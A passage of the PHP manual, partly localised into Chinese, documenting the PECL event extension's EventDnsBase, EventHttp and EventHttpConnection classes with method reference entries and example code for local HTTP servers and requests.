EventDnsBase::OPTION_SEARCH

Tells to read the domain and search fields from the resolv.conf file and the ndots option, and use them to decide which domains(if any) to search for hostnames that aren't fully-qualified.

EventDnsBase::OPTION_NAMESERVERS

Tells to learn the nameservers from the resolv.conf file.

EventDnsBase::OPTION_MISC

EventDnsBase::OPTION_HOSTSFILE

Tells to read a list of hosts from /etc/hosts as part of loading the resolv.conf file.

EventDnsBase::OPTIONS_ALL

Tells to learn as much as it can from the resolv.conf file.

Table of Contents

  • EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base
  • EventDnsBase::addSearch — Adds a domain to the list of search domains
  • EventDnsBase::clearSearch — Removes all current search suffixes
  • EventDnsBase::__construct — Constructs EventDnsBase object
  • EventDnsBase::countNameservers — Gets the number of configured nameservers
  • EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file
  • EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file
  • EventDnsBase::setOption — Set the value of a configuration option
  • EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

User Contributed Notes

There are no user contributed notes for this page.


Adds a nameserver to the DNS base

  • ? EventDnsBase
  • EventDnsBase::addSearch ?
  • PHP Manual
  • EventDnsBase
  • Adds a nameserver to the DNS base

EventDnsBase::addNameserverIp

(PECL event >= 1.2.6-beta)

EventDnsBase::addNameserverIp — Adds a nameserver to the DNS base

说明

public EventDnsBase::addNameserverIp( string $ip ): bool

Adds a nameserver to the evdns_base.

参数

ip

The nameserver string, either as an IPv4 address, an IPv6 address, an IPv4 address with a port ( IPv4:Port ), or an IPv6 address with a port ( [IPv6]:Port ).

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Adds a domain to the list of search domains

  • ? EventDnsBase::addNameserverIp
  • EventDnsBase::clearSearch ?
  • PHP Manual
  • EventDnsBase
  • Adds a domain to the list of search domains

EventDnsBase::addSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::addSearch — Adds a domain to the list of search domains

说明

public EventDnsBase::addSearch( string $domain ): void

Adds a domain to the list of search domains

参数

domain

Search domain.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Removes all current search suffixes

  • ? EventDnsBase::addSearch
  • EventDnsBase::__construct ?
  • PHP Manual
  • EventDnsBase
  • Removes all current search suffixes

EventDnsBase::clearSearch

(PECL event >= 1.2.6-beta)

EventDnsBase::clearSearch — Removes all current search suffixes

说明

public EventDnsBase::clearSearch(): void

Removes all current search suffixes from the DNS base; the EventDnsBase::addSearch() function adds a suffix.

参数

此函数没有参数。

返回值

没有返回值。

参见

  • EventDnsBase::addSearch() - Adds a domain to the list of search domains

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventDnsBase object

  • ? EventDnsBase::clearSearch
  • EventDnsBase::countNameservers ?
  • PHP Manual
  • EventDnsBase
  • Constructs EventDnsBase object

EventDnsBase::__construct

(PECL event >= 1.2.6-beta)

EventDnsBase::__construct — Constructs EventDnsBase object

说明

public EventDnsBase::__construct( EventBase $base , bool $initialize )

Constructs EventDnsBase object.

参数

base

Event base.

initialize

If the initialize argument is true, it tries to configure the DNS base sensibly given your operating system's default. Otherwise, it leaves the event DNS base empty, with no nameservers or options configured. In the latter case DNS base should be configured manually, e.g. with EventDnsBase::parseResolvConf() .

返回值

Returns EventDnsBase object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of configured nameservers

  • ? EventDnsBase::__construct
  • EventDnsBase::loadHosts ?
  • PHP Manual
  • EventDnsBase
  • Gets the number of configured nameservers

EventDnsBase::countNameservers

(PECL event >= 1.2.6-beta)

EventDnsBase::countNameservers — Gets the number of configured nameservers

说明

public EventDnsBase::countNameservers(): int

Gets the number of configured nameservers

参数

此函数没有参数。

返回值

Returns the number of configured nameservers(not necessarily the number of running nameservers). This is useful for double-checking whether our calls to the various nameserver configuration functions have been successful.

User Contributed Notes

There are no user contributed notes for this page.


Loads a hosts file (in the same format as /etc/hosts) from hosts file

  • ? EventDnsBase::countNameservers
  • EventDnsBase::parseResolvConf ?
  • PHP Manual
  • EventDnsBase
  • Loads a hosts file (in the same format as /etc/hosts) from hosts file

EventDnsBase::loadHosts

(PECL event >= 1.2.6-beta)

EventDnsBase::loadHosts — Loads a hosts file (in the same format as /etc/hosts) from hosts file

说明

public EventDnsBase::loadHosts( string $hosts ): bool

Loads a hosts file (in the same format as /etc/hosts ) from hosts file.

参数

hosts

Path to the hosts' file.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Scans the resolv.conf-formatted file

  • ? EventDnsBase::loadHosts
  • EventDnsBase::setOption ?
  • PHP Manual
  • EventDnsBase
  • Scans the resolv.conf-formatted file

EventDnsBase::parseResolvConf

(PECL event >= 1.2.6-beta)

EventDnsBase::parseResolvConf — Scans the resolv.conf-formatted file

说明

public EventDnsBase::parseResolvConf( int $flags , string $filename ): bool

Scans the resolv.conf-formatted file stored in filename, and read in all the options from it that are listed in flags

参数

flags

Determines what information is parsed from the resolv.conf file. See the man page for resolv.conf for the format of this file.

The following directives are not parsed from the file: sortlist, rotate, no-check-names, inet6, debug .

If this function encounters an error, the possible return values are:

  • 1 = failed to open file
  • 2 = failed to stat file
  • 3 = file too large
  • 4 = out of memory
  • 5 = short read from file
  • 6 = no nameservers listed in the file

filename

Path to resolv.conf file.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set the value of a configuration option

  • ? EventDnsBase::parseResolvConf
  • EventDnsBase::setSearchNdots ?
  • PHP Manual
  • EventDnsBase
  • Set the value of a configuration option

EventDnsBase::setOption

(PECL event >= 1.2.6-beta)

EventDnsBase::setOption — Set the value of a configuration option

说明

public EventDnsBase::setOption( string $option , string $value ): bool

Set the value of a configuration option.

参数

option

The currently available configuration options are: "ndots" , "timeout" , "max-timeouts" , "max-inflight" , and "attempts" .

value

Option value.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Set the 'ndots' parameter for searches

  • ? EventDnsBase::setOption
  • EventHttp ?
  • PHP Manual
  • EventDnsBase
  • Set the 'ndots' parameter for searches

EventDnsBase::setSearchNdots

(PECL event >= 1.2.6-beta)

EventDnsBase::setSearchNdots — Set the 'ndots' parameter for searches

说明

public EventDnsBase::setSearchNdots( int $ndots ): bool

Set the 'ndots' parameter for searches. Sets the number of dots which, when found in a name, causes the first query to be without any search domain.

参数

ndots

The number of dots.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


The EventHttp class

(PECL event >= 1.4.0-beta)

简介

Represents HTTP server.

类摘要

final class EventHttp {
/* 方法 */
public accept( mixed $socket ): bool
public addServerAlias( string $alias ): bool
public bind( string $address , int $port ): void
public __construct( EventBase $base , EventSslContext $ctx = null )
public removeServerAlias( string $alias ): bool
public setAllowedMethods( int $methods ): void
public setCallback( string $path , string $cb , string $arg = ?): void
public setDefaultCallback( string $cb , string $arg = ?): void
public setMaxBodySize( int $value ): void
public setMaxHeadersSize( int $value ): void
public setTimeout( int $value ): void
}

Table of Contents

  • EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource
  • EventHttp::addServerAlias — Adds a server alias to the HTTP server object
  • EventHttp::bind — Binds an HTTP server on the specified address and port
  • EventHttp::__construct — Constructs EventHttp object(the HTTP server)
  • EventHttp::removeServerAlias — Removes server alias
  • EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks
  • EventHttp::setCallback — Sets a callback for specified URI
  • EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks
  • EventHttp::setMaxBodySize — Sets maximum request body size
  • EventHttp::setMaxHeadersSize — Sets maximum HTTP header size
  • EventHttp::setTimeout — Sets the timeout for an HTTP request

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP server accept connections on the specified socket stream or resource

  • ? EventHttp
  • EventHttp::addServerAlias ?
  • PHP Manual
  • EventHttp
  • Makes an HTTP server accept connections on the specified socket stream or resource

EventHttp::accept

(PECL event >= 1.2.6-beta)

EventHttp::accept — Makes an HTTP server accept connections on the specified socket stream or resource

说明

public EventHttp::accept( mixed $socket ): bool

Makes an HTTP server accept connections on the specified socket stream or resource. The socket should be ready to accept connections.

Can be called multiple times to accept connections on different sockets.

Note:

To bind a socket, listen , and accept connections on the socket in s single call use EventHttp::bind() . EventHttp::accept() is needed only if one already has a socket ready to accept connections.

参数

socket

Socket resource, stream or numeric file descriptor representing a socket ready to accept connections.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttp::accept() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$addresses = array (
8091 => "127.0.0.1",
8092 => "127.0.0.2",
);
$i = 0;

$socket = array();

foreach ($addresses as $port => $ip) {
echo $ip, " ", $port, PHP_EOL;
$socket[$i] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!socket_bind($socket[$i], $ip, $port)) {
exit("socket_bind failed\n");
}
socket_listen($socket[$i], 0);
socket_set_nonblock($socket[$i]);

if (!$http->accept($socket[$i])) {
echo "Accept failed\n";
exit(1);
}

++$i;
}

$http->setCallback("/some-page", function() {
echo "(some-page)\n";
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$http->setDefaultCallback(function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$signal = Event::signal($base, SIGINT, function () use ($base) {
echo "Caught SIGINT. Stopping...\n";
$base->stop();
});
$signal->add();

$base->dispatch();
echo "END\n";
// We didn't close sockets, since Libevent already sets
// CLOSE_ON_FREE and CLOSE_ON_EXEC flags on the file
// descriptor associated with the sockets.
?>

以上示例的输出类似于：

Client:
$ nc 127.0.0.1 8091
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

Server:
127.0.0.1 8091
127.0.0.2 8092
URI: /about
OK

参见

  • EventHttp::bind() - Binds an HTTP server on the specified address and port

User Contributed Notes

There are no user contributed notes for this page.


Adds a server alias to the HTTP server object

  • ? EventHttp::accept
  • EventHttp::bind ?
  • PHP Manual
  • EventHttp
  • Adds a server alias to the HTTP server object

EventHttp::addServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::addServerAlias — Adds a server alias to the HTTP server object

说明

public EventHttp::addServerAlias( string $alias ): bool

Adds a server alias to the HTTP server object.

参数

alias

The alias to add.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttp::addServerAlias() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("bind(1) failed\n");
};

if (!$http->addServerAlias("local.net")) {
exit("Failed to add server alias\n");
}

$http->setCallback("/about", function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
});
$base->dispatch();
?>

参见

  • EventHttp::removeServerAlias() - Removes server alias

User Contributed Notes

There are no user contributed notes for this page.


Binds an HTTP server on the specified address and port

  • ? EventHttp::addServerAlias
  • EventHttp::__construct ?
  • PHP Manual
  • EventHttp
  • Binds an HTTP server on the specified address and port

EventHttp::bind

(PECL event >= 1.2.6-beta)

EventHttp::bind — Binds an HTTP server on the specified address and port

说明

public EventHttp::bind( string $address , int $port ): void

Binds an HTTP server on the specified address and port.

Can be called multiple times to bind the same HTTP server to multiple different ports.

参数

address

A string containing the IP address to listen(2) on.

port

The port number to listen on.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttp::bind() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("bind(1) failed\n");
};
if (!$http->bind("127.0.0.1", 8089)) {
exit("bind(2) failed\n");
};

$http->setCallback("/about", function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
echo "OK\n";
});

$base->dispatch();
?>

以上示例的输出类似于：

Client:

$ nc 127.0.0.1 8088
GET /about HTTP/1.0
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

$ nc 127.0.0.1 8089
GET /unknown HTTP/1.0
Connection: close

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Wed, 13 Mar 2013 04:14:41 GMT
Content-Length: 149
Connection: close

<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /unknown was not found on this server.</p></body></html>

Server:
URI: /about
OK

参见

  • EventHttp::accept() - Makes an HTTP server accept connections on the specified socket stream or resource

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttp object(the HTTP server)

  • ? EventHttp::bind
  • EventHttp::removeServerAlias ?
  • PHP Manual
  • EventHttp
  • Constructs EventHttp object(the HTTP server)

EventHttp::__construct

(PECL event >= 1.2.6-beta)

EventHttp::__construct — Constructs EventHttp object(the HTTP server)

说明

public EventHttp::__construct( EventBase $base , EventSslContext $ctx = null )

Constructs the HTTP server object.

参数

base

Associated event base.

ctx

EventSslContext class object. Turns plain HTTP server into HTTPS server. It means that if ctx is configured correctly, then the underlying buffer events will be based on OpenSSL sockets. Thus, all traffic will pass through the SSL or TLS.

Note:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

返回值

Returns EventHttp object.

更新日志

版本 | 说明
PECL event 1.9.0 | OpenSSL support (ctx) added.

示例

Example #1 Simple HTTP server

<?php
/*
* Simple HTTP server.
*
* To test it:
* 1) Run it on a port of your choice, e.g.:
* $ php examples/http.php 8010
* 2) In another terminal connect to some address on this port
* and make GET or POST request(others are turned off here), e.g.:
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (press Enter)
*
* It will output
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* $ nc -t 127.0.0.1 8010
* GET /dump HTTP/1.0
* Content-Type: text/plain
* Content-Encoding: UTF-8
* Connection: close
* (press Enter)
*
* It will output:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
* (press Enter)
*
* $ nc -t 127.0.0.1 8010
* GET /unknown HTTP/1.0
* Connection: close
*
* It will output:
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) See what the server outputs on the previous terminal window.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Counter reached max requests $max_requests. Exiting\n";
exit();
}

echo __METHOD__, " called\n";
echo "request:"; var_dump($req);
echo "data:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Command:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Input headers:"; var_dump($req->getInputHeaders());
echo "Output headers:"; var_dump($req->getOutputHeaders());

echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Reading input buffer ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "No more data in the buffer\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

以上示例的输出类似于：

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close
(press Enter)

HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

User Contributed Notes

Bas Vijfwinkel 26-Jun-2015 09:22
If you try to use the SSL context parameter and you receive an error that you're using 2 parameters instead of 1, then your libevent library is not recent enough to support all features.
When installing the event extension with PECL, the libevent library needs a certain version to support certain functions.
PECL does not show any errors or warnings but simple disables everything that your libevent version does not support.

For further details see my comment at
http://php.net/manual/en/event.examples.php
Anonymous 06-Mar-2015 11:47
This demo code has a memory leak


Removes server alias

  • ? EventHttp::__construct
  • EventHttp::setAllowedMethods ?
  • PHP Manual
  • EventHttp
  • Removes server alias

EventHttp::removeServerAlias

(PECL event >= 1.4.0-beta)

EventHttp::removeServerAlias — Removes server alias

说明

public EventHttp::removeServerAlias( string $alias ): bool

Removes server alias added with EventHttp::addServerAlias()

参数

alias

The alias to remove.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • EventHttp::addServerAlias() - Adds a server alias to the HTTP server object

User Contributed Notes

There are no user contributed notes for this page.


Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

  • ? EventHttp::removeServerAlias
  • EventHttp::setCallback ?
  • PHP Manual
  • EventHttp
  • Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

EventHttp::setAllowedMethods

(PECL event >= 1.4.0-beta)

EventHttp::setAllowedMethods — Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

说明

public EventHttp::setAllowedMethods( int $methods ): void

Sets the what HTTP methods are supported in requests accepted by this server, and passed to user callbacks

If not supported they will generate a "405 Method not allowed" response.

By default this includes the following methods: GET , POST , HEAD , PUT , DELETE . See EventHttpRequest::CMD_* constants.

参数

methods

A bit mask of EventHttpRequest::CMD_* constants .

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback for specified URI

  • ? EventHttp::setAllowedMethods
  • EventHttp::setDefaultCallback ?
  • PHP Manual
  • EventHttp
  • Sets a callback for specified URI

EventHttp::setCallback

(PECL event >= 1.4.0-beta)

EventHttp::setCallback — Sets a callback for specified URI

说明

public EventHttp::setCallback( string $path , string $cb , string $arg = ?): void

Sets a callback for specified URI.

参数

path

The path for which to invoke the callback.

cb

The callback callable that gets invoked on requested path . It should match the following prototype:

callback( EventHttpRequest $req = NULL , mixed $arg = NULL ): void

req

EventHttpRequest object.

arg

Custom data.

arg

Custom data.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttp::setCallback() example

<?php
/*
* Simple HTTP server.
*
* To test it:
* 1) Run it on a port of your choice, e.g.:
* $ php examples/http.php 8010
* 2) In another terminal connect to some address on this port
* and make GET or POST request(others are turned off here), e.g.:
* $ nc -t 127.0.0.1 8010
* POST /about HTTP/1.0
* Content-Type: text/plain
* Content-Length: 4
* Connection: close
* (press Enter)
*
* It will output
* a=12
* HTTP/1.0 200 OK
* Content-Type: text/html; charset=ISO-8859-1
* Connection: close
*
* 3) See what the server outputs on the previous terminal window.
*/

function _http_dump($req, $data) {
static $counter = 0;
static $max_requests = 2;

if (++$counter >= $max_requests) {
echo "Counter reached max requests $max_requests. Exiting\n";
exit();
}

echo __METHOD__, " called\n";
echo "request:"; var_dump($req);
echo "data:"; var_dump($data);

echo "\n===== DUMP =====\n";
echo "Command:", $req->getCommand(), PHP_EOL;
echo "URI:", $req->getUri(), PHP_EOL;
echo "Input headers:"; var_dump($req->getInputHeaders());
echo "Output headers:"; var_dump($req->getOutputHeaders());

echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";

echo "\n >> Reading input buffer ...\n";
$buf = $req->getInputBuffer();
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
echo "No more data in the buffer\n";
}

function _http_about($req) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

function _http_default($req, $data) {
echo __METHOD__, PHP_EOL;
echo "URI: ", $req->getUri(), PHP_EOL;
echo "\n >> Sending reply ...";
$req->sendReply(200, "OK");
echo "OK\n";
}

$port = 8010;
if ($argc > 1) {
$port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
exit("Invalid port");
}

$base = new EventBase();
$http = new EventHttp($base);
$http->setAllowedMethods(EventHttpRequest::CMD_GET | EventHttpRequest::CMD_POST);

$http->setCallback("/dump", "_http_dump", array(4, 8));
$http->setCallback("/about", "_http_about");
$http->setDefaultCallback("_http_default", "custom data value");

$http->bind("0.0.0.0", 8010);
$base->loop();
?>

以上示例的输出类似于：

a=12
HTTP/1.0 200 OK
Content-Type: text/html; charset=ISO-8859-1
Connection: close

参见

  • EventHttp::setDefaultCallback() - Sets default callback to handle requests that are not caught by specific callbacks

User Contributed Notes

There are no user contributed notes for this page.


Sets default callback to handle requests that are not caught by specific callbacks

  • ? EventHttp::setCallback
  • EventHttp::setMaxBodySize ?
  • PHP Manual
  • EventHttp
  • Sets default callback to handle requests that are not caught by specific callbacks

EventHttp::setDefaultCallback

(PECL event >= 1.4.0-beta)

EventHttp::setDefaultCallback — Sets default callback to handle requests that are not caught by specific callbacks

说明

public EventHttp::setDefaultCallback( string $cb , string $arg = ?): void

Sets default callback to handle requests that are not caught by specific callbacks

参数

cb

The callback callable . It should match the following prototype:

callback( EventHttpRequest $req = NULL , mixed $arg = NULL ): void

req

EventHttpRequest object.

arg

Custom data.

arg

User custom data passed to the callback.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttp::setDefaultCallback() example

<?php
$base = new EventBase();
$http = new EventHttp($base);

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!$http->bind("127.0.0.1", 8088)) {
exit("bind(1) failed\n");
};

$http->setDefaultCallback(function($req) {
echo "URI: ", $req->getUri(), PHP_EOL;
$req->sendReply(200, "OK");
});

$base->dispatch();
?>

参见

  • EventHttp::setCallback() - Sets a callback for specified URI

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum request body size

  • ? EventHttp::setDefaultCallback
  • EventHttp::setMaxHeadersSize ?
  • PHP Manual
  • EventHttp
  • Sets maximum request body size

EventHttp::setMaxBodySize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxBodySize — Sets maximum request body size

说明

public EventHttp::setMaxBodySize( int $value ): void

Sets maximum request body size.

参数

value

The body size in bytes.

返回值

没有返回值。

参见

  • EventHttp::setMaxHeadersSize() - Sets maximum HTTP header size

User Contributed Notes

There are no user contributed notes for this page.


Sets maximum HTTP header size

  • ? EventHttp::setMaxBodySize
  • EventHttp::setTimeout ?
  • PHP Manual
  • EventHttp
  • Sets maximum HTTP header size

EventHttp::setMaxHeadersSize

(PECL event >= 1.4.0-beta)

EventHttp::setMaxHeadersSize — Sets maximum HTTP header size

说明

public EventHttp::setMaxHeadersSize( int $value ): void

Sets maximum HTTP header size.

参数

value

The header size in bytes.

返回值

没有返回值。

参见

  • EventHttp::setMaxHeadersSize()

User Contributed Notes

There are no user contributed notes for this page.


Sets the timeout for an HTTP request

  • ? EventHttp::setMaxHeadersSize
  • EventHttpConnection ?
  • PHP Manual
  • EventHttp
  • Sets the timeout for an HTTP request

EventHttp::setTimeout

(PECL event >= 1.4.0-beta)

EventHttp::setTimeout — Sets the timeout for an HTTP request

说明

public EventHttp::setTimeout( int $value ): void

Sets the timeout for an HTTP request.

参数

value

The timeout in seconds.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The EventHttpConnection class

(PECL event >= 1.4.0-beta)

简介

Represents an HTTP connection.

类摘要

class EventHttpConnection {
/* 方法 */
public __construct(
EventBase $base ,
EventDnsBase $dns_base ,
string $address ,
int $port ,
EventSslContext $ctx = null
)
public getBase(): EventBase
public getPeer( string &$address , int &$port ): void
public makeRequest( EventHttpRequest $req , int $type , string $uri ): bool
public setCloseCallback( callable $callback , mixed $data = ?): void
public setLocalAddress( string $address ): void
public setLocalPort( int $port ): void
public setMaxBodySize( string $max_size ): void
public setMaxHeadersSize( string $max_size ): void
public setRetries( int $retries ): void
public setTimeout( int $timeout ): void
}

Table of Contents

  • EventHttpConnection::__construct — Constructs EventHttpConnection object
  • EventHttpConnection::getBase — Returns event base associated with the connection
  • EventHttpConnection::getPeer — Gets the remote address and port associated with the connection
  • EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection
  • EventHttpConnection::setCloseCallback — Set callback for connection close
  • EventHttpConnection::setLocalAddress — Sets the IP address from which HTTP connections are made
  • EventHttpConnection::setLocalPort — Sets the local port from which connections are made
  • EventHttpConnection::setMaxBodySize — Sets maximum body size for the connection
  • EventHttpConnection::setMaxHeadersSize — Sets maximum header size
  • EventHttpConnection::setRetries — Sets the retry limit for the connection
  • EventHttpConnection::setTimeout — Sets the timeout for the connection

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventHttpConnection object

  • ? EventHttpConnection
  • EventHttpConnection::getBase ?
  • PHP Manual
  • EventHttpConnection
  • Constructs EventHttpConnection object

EventHttpConnection::__construct

(PECL event >= 1.2.6-beta)

EventHttpConnection::__construct — Constructs EventHttpConnection object

说明

public EventHttpConnection::__construct(
EventBase $base ,
EventDnsBase $dns_base ,
string $address ,
int $port ,
EventSslContext $ctx = null
)

Constructs EventHttpConnection object.

参数

base

Associated event base.

dns_base

If dns_base is null, hostname resolution will block.

address

The address to connect to.

port

The port to connect to.

ctx

EventSslContext class object. Enables OpenSSL.

Note:

This parameter is available only if Event is compiled with OpenSSL support and only with Libevent 2.1.0-alpha and higher.

返回值

Returns EventHttpConnection object.

更新日志

版本 | 说明
PECL event 1.9.0 | OpenSSL support (ctx) added.

User Contributed Notes

There are no user contributed notes for this page.


Returns event base associated with the connection

  • ? EventHttpConnection::__construct
  • EventHttpConnection::getPeer ?
  • PHP Manual
  • EventHttpConnection
  • Returns event base associated with the connection

EventHttpConnection::getBase

(PECL event >= 1.2.6-beta)

EventHttpConnection::getBase — Returns event base associated with the connection

说明

public EventHttpConnection::getBase(): EventBase

Returns event base associated with the connection.

参数

此函数没有参数。

返回值

On success returns EventBase object associated with the connection. Otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Gets the remote address and port associated with the connection

  • ? EventHttpConnection::getBase
  • EventHttpConnection::makeRequest ?
  • PHP Manual
  • EventHttpConnection
  • Gets the remote address and port associated with the connection

EventHttpConnection::getPeer

(PECL event >= 1.2.6-beta)

EventHttpConnection::getPeer — Gets the remote address and port associated with the connection

说明

public EventHttpConnection::getPeer( string &$address , int &$port ): void

Gets the remote address and port associated with the connection

参数

address

Address of the peer.

port

Port of the peer.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Makes an HTTP request over the specified connection

  • ? EventHttpConnection::getPeer
  • EventHttpConnection::setCloseCallback ?
  • PHP Manual
  • EventHttpConnection
  • Makes an HTTP request over the specified connection

EventHttpConnection::makeRequest

(PECL event >= 1.4.0-beta)

EventHttpConnection::makeRequest — Makes an HTTP request over the specified connection

说明

public EventHttpConnection::makeRequest( EventHttpRequest $req , int $type , string $uri ): bool

Makes an HTTP request over the specified connection. type is one of EventHttpRequest::CMD_* constants.

参数

req

The connection object over which to send the request.

type

One of EventHttpRequest::CMD_* constants .

uri

The URI associated with the request.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
echo __FUNCTION__, PHP_EOL;

if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();

if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}

$base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

以上示例的输出类似于：

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

参见

  • EventHttpRequest::addHeader() - Adds an HTTP header to the headers of the request

User Contributed Notes

There are no user contributed notes for this page.


Set callback for connection close

  • ? EventHttpConnection::makeRequest
  • EventHttpConnection::setLocalAddress ?
  • PHP Manual
  • EventHttpConnection
  • Set callback for connection close

EventHttpConnection::setCloseCallback

(PECL event >= 1.8.0)

EventHttpConnection::setCloseCallback — Set callback for connection close

说明

public EventHttpConnection::setCloseCallback( callable $callback , mixed $data = ?): void

Sets callback for connection close.

参数

callback

Callback which is called when connection is closed. Should match the following prototype:

callback( EventHttpConnection $conn = null , mixed $arg = null ): void

返回值

没有返回值。

示例

Example #1 EventHttpConnection::setCloseCallback() example

<?php
/*
* Setting up close-connection callback
*
* The script handles closed connections using HTTP API.
*
* Usage:
* 1) Launch the server:
* $ php examples/http_closecb.php 4242
*
* 2) Launch a client in another terminal. Telnet-like
* session should look like the following:
*
* $ nc -t 127.0.0.1 4242
* GET / HTTP/1.0
